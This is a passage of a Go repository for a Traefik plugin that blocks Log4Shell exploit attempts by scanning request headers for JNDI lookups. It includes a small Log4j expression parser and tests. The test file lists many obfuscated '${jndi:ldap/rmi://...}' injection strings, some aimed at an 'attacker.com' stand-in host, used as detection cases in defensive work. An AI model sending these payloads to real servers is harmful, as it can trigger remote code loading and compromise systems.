├── .assets └── icon.png ├── .github └── workflows │ ├── go-cross.yml │ └── main.yml ├── .gitignore ├── .golangci.yml ├── .traefik.yml ├── LICENSE ├── Makefile ├── go.mod ├── middleware.go ├── middleware_test.go ├── parser.go ├── parser_test.go └── readme.md /.assets/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/traefik/plugin-log4shell/ddc5096b97b5957f93a35111fc50aee10c1abdd0/.assets/icon.png -------------------------------------------------------------------------------- /.github/workflows/go-cross.yml: -------------------------------------------------------------------------------- 1 | name: Go Matrix 2 | on: [push, pull_request] 3 | 4 | jobs: 5 | 6 | cross: 7 | name: Go 8 | runs-on: ${{ matrix.os }} 9 | env: 10 | CGO_ENABLED: 0 11 | 12 | strategy: 13 | matrix: 14 | go-version: [ 1.17, 1.x ] 15 | os: [ubuntu-latest, macos-latest, windows-latest] 16 | 17 | steps: 18 | # https://github.com/marketplace/actions/setup-go-environment 19 | - name: Set up Go ${{ matrix.go-version }} 20 | uses: actions/setup-go@v2 21 | with: 22 | go-version: ${{ matrix.go-version }} 23 | 24 | # https://github.com/marketplace/actions/checkout 25 | - name: Checkout code 26 | uses: actions/checkout@v2 27 | 28 | # https://github.com/marketplace/actions/cache 29 | - name: Cache Go modules 30 | uses: actions/cache@v2 31 | with: 32 | # In order: 33 | # * Module download cache 34 | # * Build cache (Linux) 35 | # * Build cache (Mac) 36 | # * Build cache (Windows) 37 | path: | 38 | ~/go/pkg/mod 39 | ~/.cache/go-build 40 | ~/Library/Caches/go-build 41 | %LocalAppData%\go-build 42 | key: ${{ runner.os }}-${{ matrix.go-version }}-go-${{ hashFiles('**/go.sum') }} 43 | restore-keys: | 44 | ${{ runner.os }}-${{ matrix.go-version }}-go- 45 | 46 | - name: Test 47 | run: go test -v -cover ./... 48 | -------------------------------------------------------------------------------- /.github/workflows/main.yml: -------------------------------------------------------------------------------- 1 | name: Main 2 | 3 | on: 4 | push: 5 | branches: 6 | - master 7 | tags: 8 | - v* 9 | pull_request: 10 | 11 | jobs: 12 | 13 | main: 14 | name: Main Process 15 | runs-on: ubuntu-latest 16 | env: 17 | GO_VERSION: 1.17 18 | GOLANGCI_LINT_VERSION: v1.43.0 19 | YAEGI_VERSION: v0.11.1 20 | CGO_ENABLED: 0 21 | defaults: 22 | run: 23 | working-directory: ${{ github.workspace }}/go/src/github.com/${{ github.repository }} 24 | 25 | steps: 26 | 27 | # https://github.com/marketplace/actions/setup-go-environment 28 | - name: Set up Go ${{ env.GO_VERSION }} 29 | uses: actions/setup-go@v2 30 | with: 31 | go-version: ${{ env.GO_VERSION }} 32 | 33 | # https://github.com/marketplace/actions/checkout 34 | - name: Check out code 35 | uses: actions/checkout@v2 36 | with: 37 | path: go/src/github.com/${{ github.repository }} 38 | fetch-depth: 0 39 | 40 | # https://github.com/marketplace/actions/cache 41 | - name: Cache Go modules 42 | uses: actions/cache@v2 43 | with: 44 | path: ${{ github.workspace }}/go/pkg/mod 45 | key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }} 46 | restore-keys: | 47 | ${{ runner.os }}-go- 48 | 49 | # https://golangci-lint.run/usage/install#other-ci 50 | - name: Install golangci-lint ${{ env.GOLANGCI_LINT_VERSION }} 51 | run: curl -sSfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b $(go env GOPATH)/bin ${GOLANGCI_LINT_VERSION} 52 | 53 | - name: Install Yaegi ${{ env.YAEGI_VERSION }} 54 | run: curl -sfL https://raw.githubusercontent.com/traefik/yaegi/master/install.sh | bash -s -- -b $(go env GOPATH)/bin ${YAEGI_VERSION} 55 | 56 | - name: Setup GOPATH 57 | run: go env -w GOPATH=${{ github.workspace }}/go 58 | 59 | - name: Check and get dependencies 60 | run: | 61 | go mod tidy 62 | git diff --exit-code go.mod 63 | # git diff --exit-code go.sum 64 | go mod vendor 65 | # git diff --exit-code ./vendor/ 66 | 67 | - name: Lint and Tests 68 | run: make 69 | 70 | - name: Run tests with Yaegi 71 | run: make yaegi_test 72 | env: 73 | GOPATH: ${{ github.workspace }}/go 74 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | .DS_Store 3 | -------------------------------------------------------------------------------- /.golangci.yml: -------------------------------------------------------------------------------- 1 | run: 2 | deadline: 10m 3 | skip-files: [ ] 4 | skip-dirs: [ ] 5 | 6 | linters-settings: 7 | govet: 8 | enable-all: true 9 | disable: 10 | - fieldalignment 11 | gocyclo: 12 | min-complexity: 15 13 | maligned: 14 | suggest-new: true 15 | goconst: 16 | min-len: 5 17 | min-occurrences: 3 18 | misspell: 19 | locale: US 20 | funlen: 21 | lines: -1 22 | statements: 50 23 | godox: 24 | keywords: 25 | - FIXME 26 | gofumpt: 27 | extra-rules: true 28 | depguard: 29 | list-type: blacklist 30 | include-go-root: false 31 | packages: 32 | - github.com/sirupsen/logrus 33 | - github.com/pkg/errors 34 | gocritic: 35 | enabled-tags: 36 | - diagnostic 37 | - style 38 | - performance 39 | disabled-checks: 40 | - sloppyReassign 41 | - rangeValCopy 42 | - octalLiteral 43 | - paramTypeCombine # already handle by gofumpt.extra-rules 44 | - unnamedResult 45 | settings: 46 | hugeParam: 47 | sizeThreshold: 110 48 | 49 | importas: 50 | no-unaliased: true 51 | 52 | linters: 53 | enable-all: true 54 | disable: 55 | - maligned # deprecated 56 | - interfacer # deprecated 57 | - scopelint # deprecated 58 | - golint # deprecated 59 | - sqlclosecheck # not relevant (SQL) 60 | - rowserrcheck # not relevant (SQL) 61 | - cyclop # duplicate of gocyclo 62 | - lll 63 | - dupl 64 | - wsl 65 | - nlreturn 66 | - gomnd 67 | - goerr113 68 | - wrapcheck 69 | - exhaustive 70 | - exhaustivestruct 71 | - testpackage 72 | - tparallel 73 | - paralleltest 74 | - prealloc 75 | - forcetypeassert 76 | - bodyclose # Too many false positives: https://github.com/timakin/bodyclose/issues/30 77 | - ifshort # disable due to false-positive, the linter will be fixed https://github.com/esimonov/ifshort 78 | - varnamelen 79 | 80 | issues: 81 | exclude-use-default: false 82 | max-per-linter: 0 83 | max-same-issues: 0 84 | exclude: 85 | - 'ST1000: at least one file in a package should have a package comment' 86 | - 'G204: Subprocess launched with variable' 87 | - 'G304: Potential file inclusion via variable' 88 | - "var-naming: don't use an underscore in package name" 89 | - 'ST1003: should not use underscores in package names' 90 | - 'typeAssertChain: rewrite if-else to type switch statement' 91 | exclude-rules: 92 | - path: .*_test.go 93 | linters: 94 | - funlen 95 | - noctx 96 | - gochecknoinits 97 | - gochecknoglobals 98 | - path: pkg/version/version.go 99 | linters : 100 | - gochecknoglobals 101 | -------------------------------------------------------------------------------- /.traefik.yml: -------------------------------------------------------------------------------- 1 | displayName: Log4Shell 2 | type: middleware 3 | import: github.com/traefik/plugin-log4shell 4 | summary: Block Log4j exploit 5 | iconPath: .assets/icon.png 6 | 7 | testData: 8 | errorCode: 200 9 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright 2021 Traefik Labs 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: lint test vendor clean 2 | 3 | export GO111MODULE=on 4 | 5 | default: lint test yaegi_test 6 | 7 | lint: 8 | golangci-lint run 9 | 10 | test: 11 | go test -v -cover ./... 12 | 13 | yaegi_test: 14 | yaegi test -v . 15 | 16 | vendor: 17 | go mod vendor 18 | 19 | clean: 20 | rm -rf ./vendor 21 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/traefik/plugin-log4shell 2 | 3 | go 1.17 4 | -------------------------------------------------------------------------------- /middleware.go: -------------------------------------------------------------------------------- 1 | package plugin_log4shell 2 | 3 | import ( 4 | "context" 5 | "net/http" 6 | "strings" 7 | ) 8 | 9 | // Config the plugin configuration. 10 | type Config struct { 11 | ErrorCode int `json:"errorCode"` 12 | } 13 | 14 | // CreateConfig creates the default plugin configuration. 15 | func CreateConfig() *Config { 16 | return &Config{ 17 | ErrorCode: http.StatusOK, 18 | } 19 | } 20 | 21 | // Log4J a plugin. 22 | type Log4J struct { 23 | next http.Handler 24 | name string 25 | ErrorCode int 26 | } 27 | 28 | // New created a new plugin. 29 | func New(_ context.Context, next http.Handler, config *Config, name string) (http.Handler, error) { 30 | return &Log4J{ 31 | name: name, 32 | next: next, 33 | ErrorCode: config.ErrorCode, 34 | }, nil 35 | } 36 | 37 | func (l *Log4J) ServeHTTP(rw http.ResponseWriter, req *http.Request) { 38 | for _, values := range req.Header { 39 | for _, value := range values { 40 | if containsJNDI(value) { 41 | rw.WriteHeader(l.ErrorCode) 42 | return 43 | } 44 | } 45 | } 46 | 47 | l.next.ServeHTTP(rw, req) 48 | } 49 | 50 | func containsJNDI(value string) bool { 51 | if len(value) < 8 { 52 | return false 53 | } 54 | 55 | lower := strings.ToLower(value) 56 | 57 | if !strings.Contains(lower, "${") { 58 | return false 59 | } 60 | 61 | if strings.Contains(lower, "${jndi") { 62 | return true 63 | } 64 | 65 | root := Parse(lower) 66 | 67 | for _, node := range root.Value { 68 | if containsJNDINode(node) { 69 | return true 70 | } 71 | } 72 | 73 | return false 74 | } 75 | 76 | func containsJNDINode(node *Node) bool { 77 | if node.Type != Expression { 78 | return false 79 | } 80 | 81 | if strings.Contains(node.Key.String(), "jndi") { 82 | return true 83 | } 84 | 85 | for _, k := range node.Key { 86 | if containsJNDINode(k) { 87 | return true 88 | } 89 | } 90 | 91 | return false 92 | } 93 | -------------------------------------------------------------------------------- /middleware_test.go: -------------------------------------------------------------------------------- 1 | package plugin_log4shell 2 | 3 | import ( 4 | "context" 5 | "net/http" 6 | "net/http/httptest" 7 | "testing" 8 | ) 9 | 10 | func Test_containsJNDI(t *testing.T) { 11 | testCases := []struct { 12 | desc string 13 | value string 14 | expected bool 15 | }{ 16 | { 17 | desc: "Simple", 18 | value: "${jndi:ldap://127.0.0.1:12/a}", 19 | expected: true, 20 | }, 21 | { 22 | desc: "Simple uppercase", 23 | value: "${JNDI:ldap://127.0.0.1:12/a}", 24 | expected: true, 25 | }, 26 | { 27 | desc: "With lower", 28 | value: "${${lower:j}ndi:ldap://127.0.0.1:12/a}", 29 | expected: true, 30 | }, 31 | { 32 | desc: "With lower and content", 33 | value: "BEFORE ${${lower:j}ndi:ldap://127.0.0.1:12/a} AFTER", 34 | expected: true, 35 | }, 36 | { 37 | value: "${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}", 38 | expected: true, 39 | }, 40 | { 41 | value: "${jN${lower:}di:ldap://test}", 42 | expected: true, 43 | }, 44 | { 45 | value: "${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}", 46 | expected: true, 47 | }, 48 | { 49 | value: "${jndi:rmi://adsasd.asdasd.asdasd}", 50 | expected: true, 51 | }, 52 | { 53 | value: "${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}", 54 | expected: true, 55 | }, 56 | { 57 | value: "${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}", 58 | expected: true, 59 | }, 60 | { 61 | value: "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}", 62 | expected: true, 63 | }, 64 | { 65 | value: "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}", 66 | expected: true, 67 | }, 68 | { 69 | value: "${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}", 70 | expected: true, 71 | }, 72 | { 73 | value: "${${env:BARFOO:-j}di${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}", 74 | expected: false, 75 | }, 76 | } 77 | 78 | for _, test := range testCases { 79 | test := test 80 | t.Run(test.desc, func(t *testing.T) { 81 | result := containsJNDI(test.value) 82 | if result != test.expected { 83 | t.Errorf("got: %v, want: %v", result, test.expected) 84 | } 85 | }) 86 | } 87 | } 88 | 89 | func TestServeHTTP(t *testing.T) { 90 | config := CreateConfig() 91 | 92 | next := http.HandlerFunc(func(rw http.ResponseWriter, req *http.Request) { 93 | rw.WriteHeader(http.StatusTeapot) 94 | }) 95 | 96 | handler, err := New(context.Background(), next, config, "test") 97 | if err != nil { 98 | t.Fatal(err) 99 | } 100 | 101 | req, err := http.NewRequest(http.MethodGet, "http://localhost", http.NoBody) 102 | if err != nil { 103 | t.Fatal(err) 104 | } 105 | 106 | req.Header.Set("User-Agent", "${jN${lower:}di:ldap://test}") 107 | 108 | recorder := httptest.NewRecorder() 109 | handler.ServeHTTP(recorder, req) 110 | 111 | if recorder.Result().StatusCode != http.StatusOK { 112 | t.Errorf("got %d, want %d", recorder.Result().StatusCode, http.StatusOK) 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /parser.go: -------------------------------------------------------------------------------- 1 | package plugin_log4shell 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | // Token types. 8 | const ( 9 | Start = "START" 10 | End = "END" 11 | Content = "CONTENT" 12 | Separator = "SEP" 13 | ) 14 | 15 | // Node types. 16 | const ( 17 | Expression = "EXP" 18 | Text = "TXT" 19 | Root = "ROOT" 20 | ) 21 | 22 | // Nodes a set of nodes. 23 | type Nodes []*Node 24 | 25 | func (e Nodes) String() string { 26 | var data string 27 | for _, v := range e { 28 | data += v.String() 29 | } 30 | return data 31 | } 32 | 33 | // Node a node. 34 | type Node struct { 35 | Type string 36 | 37 | Text string 38 | Key Nodes 39 | Value Nodes 40 | } 41 | 42 | func (n Node) String() string { 43 | switch n.Type { 44 | case Expression, Root: 45 | return n.Value.String() 46 | case Text: 47 | return n.Text 48 | default: 49 | panic(fmt.Sprintf("not supported node type: %s", n.Type)) 50 | } 51 | } 52 | 53 | // Token a syntax token. 54 | type Token struct { 55 | Type string `json:"type,omitempty"` 56 | Pos int `json:"pos,omitempty"` 57 | Value string `json:"value,omitempty"` 58 | } 59 | 60 | func (t Token) String() string { 61 | return t.Value 62 | } 63 | 64 | // Parse naively parses Log4j expression. 65 | // https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution 66 | func Parse(value string) *Node { 67 | root := &Node{Type: Root} 68 | 69 | buildTree(root, tokenize(value)) 70 | 71 | return root 72 | } 73 | 74 | func tokenize(value string) []*Token { 75 | var tokens []*Token 76 | 77 | var previous *Token 78 | var open int 79 | length := len(value) 80 | 81 | for i := 0; i < length; i++ { 82 | v := value[i] 83 | t := &Token{Pos: i} 84 | 85 | switch { 86 | case v == '$' && length > i+1 && value[i+1] == '{': 87 | t.Type = Start 88 | t.Value = "${" 89 | i++ 90 | open++ 91 | 92 | case v == '}' && open > 0: 93 | t.Type = End 94 | t.Value = "}" 95 | open-- 96 | 97 | case v == ':' && open > 0: 98 | t.Type = Separator 99 | t.Value = ":" 100 | 101 | if length > i+1 && value[i+1] == '-' { 102 | t.Value = ":-" 103 | i++ 104 | } 105 | 106 | default: 107 | if previous != nil && previous.Type == Content { 108 | previous.Value += string(v) 109 | continue 110 | } 111 | 112 | t.Type = Content 113 | t.Value = string(v) 114 | } 115 | 116 | previous = t 117 | tokens = append(tokens, t) 118 | } 119 | 120 | return tokens 121 | } 122 | 123 | func buildTree(root *Node, tokens []*Token) int { 124 | var sep bool 125 | for i := 0; i < len(tokens); i++ { 126 | token := tokens[i] 127 | 128 | switch token.Type { 129 | case Start: 130 | exp := &Node{Type: Expression} 131 | 132 | switch root.Type { 133 | case Root: 134 | root.Value = append(root.Value, exp) 135 | 136 | case Expression: 137 | if sep { 138 | root.Key = append(root.Value, root.Key...) 139 | root.Value = []*Node{exp} 140 | } else { 141 | root.Key = append(root.Key, exp) 142 | } 143 | 144 | default: 145 | panic(fmt.Sprintf("invalid start node: %T", root)) 146 | } 147 | 148 | j := buildTree(exp, tokens[i+1:]) 149 | if j < 0 { 150 | return i 151 | } 152 | 153 | i += j 154 | 155 | case End: 156 | return i + 1 157 | 158 | case Content: 159 | switch root.Type { 160 | case Root: 161 | root.Value = append(root.Value, &Node{Type: Text, Text: token.Value}) 162 | 163 | case Expression: 164 | if sep { 165 | root.Key = append(root.Value, root.Key...) 166 | root.Value = []*Node{{Type: Text, Text: token.Value}} 167 | } else { 168 | root.Key = append(root.Key, &Node{Type: Text, Text: token.Value}) 169 | } 170 | default: 171 | panic(fmt.Sprintf("invalid content node: %T", root)) 172 | } 173 | 174 | case Separator: 175 | sep = true 176 | continue 177 | 178 | default: 179 | panic(fmt.Sprintf("invalid token type: %s", token.Type)) 180 | } 181 | } 182 | 183 | return -1 184 | } 185 | -------------------------------------------------------------------------------- /parser_test.go: -------------------------------------------------------------------------------- 1 | package plugin_log4shell 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func Test_tokenize(t *testing.T) { 8 | testCases := []struct { 9 | expression string 10 | expected []*Token 11 | }{ 12 | { 13 | expression: "${b:c}", 14 | expected: []*Token{ 15 | {Type: "START", Pos: 0, Value: "${"}, 16 | {Type: "CONTENT", Pos: 2, Value: "b"}, 17 | {Type: "SEP", Pos: 3, Value: ":"}, 18 | {Type: "CONTENT", Pos: 4, Value: "c"}, 19 | {Type: "END", Pos: 5, Value: "}"}, 20 | }, 21 | }, 22 | { 23 | expression: "${b:}", 24 | expected: []*Token{ 25 | {Type: "START", Pos: 0, Value: "${"}, 26 | {Type: "CONTENT", Pos: 2, Value: "b"}, 27 | {Type: "SEP", Pos: 3, Value: ":"}, 28 | {Type: "END", Pos: 4, Value: "}"}, 29 | }, 30 | }, 31 | { 32 | expression: "${:c}", 33 | expected: []*Token{ 34 | {Type: "START", Pos: 0, Value: "${"}, 35 | {Type: "SEP", Pos: 2, Value: ":"}, 36 | {Type: "CONTENT", Pos: 3, Value: "c"}, 37 | {Type: "END", Pos: 4, Value: "}"}, 38 | }, 39 | }, 40 | { 41 | expression: "a${b:c}d", 42 | expected: []*Token{ 43 | {Type: "CONTENT", Pos: 0, Value: "a"}, 44 | {Type: "START", Pos: 1, Value: "${"}, 45 | {Type: "CONTENT", Pos: 3, Value: "b"}, 46 | {Type: "SEP", Pos: 4, Value: ":"}, 47 | {Type: "CONTENT", Pos: 5, Value: "c"}, 48 | {Type: "END", Pos: 6, Value: "}"}, 49 | {Type: "CONTENT", Pos: 7, Value: "d"}, 50 | }, 51 | }, 52 | { 53 | expression: "a${b:c}d}", 54 | expected: []*Token{ 55 | {Type: "CONTENT", Pos: 0, Value: "a"}, 56 | {Type: "START", Pos: 1, Value: "${"}, 57 | {Type: "CONTENT", Pos: 3, Value: "b"}, 58 | {Type: "SEP", Pos: 4, Value: ":"}, 59 | {Type: "CONTENT", Pos: 5, Value: "c"}, 60 | {Type: "END", Pos: 6, Value: "}"}, 61 | {Type: "CONTENT", Pos: 7, Value: "d}"}, 62 | }, 63 | }, 64 | { 65 | expression: "a${b:c}d:", 66 | expected: []*Token{ 67 | {Type: "CONTENT", Pos: 0, Value: "a"}, 68 | {Type: "START", Pos: 1, Value: "${"}, 69 | {Type: "CONTENT", Pos: 3, Value: "b"}, 70 | {Type: "SEP", Pos: 4, Value: ":"}, 71 | {Type: "CONTENT", Pos: 5, Value: "c"}, 72 | {Type: "END", Pos: 6, Value: "}"}, 73 | {Type: "CONTENT", Pos: 7, Value: "d:"}, 74 | }, 75 | }, 76 | { 77 | expression: "a${b:c}d${e:", 78 | expected: []*Token{ 79 | {Type: "CONTENT", Pos: 0, Value: "a"}, 80 | {Type: "START", Pos: 1, Value: "${"}, 81 | {Type: "CONTENT", Pos: 3, Value: "b"}, 82 | {Type: "SEP", Pos: 4, Value: ":"}, 83 | {Type: "CONTENT", Pos: 5, Value: "c"}, 84 | {Type: "END", Pos: 6, Value: "}"}, 85 | {Type: "CONTENT", Pos: 7, Value: "d"}, 86 | {Type: "START", Pos: 8, Value: "${"}, 87 | {Type: "CONTENT", Pos: 10, Value: "e"}, 88 | {Type: "SEP", Pos: 11, Value: ":"}, 89 | }, 90 | }, 91 | { 92 | expression: "a${b:c}d$", 93 | expected: []*Token{ 94 | {Type: "CONTENT", Pos: 0, Value: "a"}, 95 | {Type: "START", Pos: 1, Value: "${"}, 96 | {Type: "CONTENT", Pos: 3, Value: "b"}, 97 | {Type: "SEP", Pos: 4, Value: ":"}, 98 | {Type: "CONTENT", Pos: 5, Value: "c"}, 99 | {Type: "END", Pos: 6, Value: "}"}, 100 | {Type: "CONTENT", Pos: 7, Value: "d$"}, 101 | }, 102 | }, 103 | { 104 | expression: "a${b:c$}d", 105 | expected: []*Token{ 106 | {Type: "CONTENT", Pos: 0, Value: "a"}, 107 | {Type: "START", Pos: 1, Value: "${"}, 108 | {Type: "CONTENT", Pos: 3, Value: "b"}, 109 | {Type: "SEP", Pos: 4, Value: ":"}, 110 | {Type: "CONTENT", Pos: 5, Value: "c$"}, 111 | {Type: "END", Pos: 7, Value: "}"}, 112 | {Type: "CONTENT", Pos: 8, Value: "d"}, 113 | }, 114 | }, 115 | { 116 | expression: "a${b:c}d${e:f}g", 117 | expected: []*Token{ 118 | {Type: "CONTENT", Pos: 0, Value: "a"}, 119 | {Type: "START", Pos: 1, Value: "${"}, 120 | {Type: "CONTENT", Pos: 3, Value: "b"}, 121 | {Type: "SEP", Pos: 4, Value: ":"}, 122 | {Type: "CONTENT", Pos: 5, Value: "c"}, 123 | {Type: "END", Pos: 6, Value: "}"}, 124 | {Type: "CONTENT", Pos: 7, Value: "d"}, 125 | {Type: "START", Pos: 8, Value: "${"}, 126 | {Type: "CONTENT", Pos: 10, Value: "e"}, 127 | {Type: "SEP", Pos: 11, Value: ":"}, 128 | {Type: "CONTENT", Pos: 12, Value: "f"}, 129 | {Type: "END", Pos: 13, Value: "}"}, 130 | {Type: "CONTENT", Pos: 14, Value: "g"}, 131 | }, 132 | }, 133 | { 134 | expression: 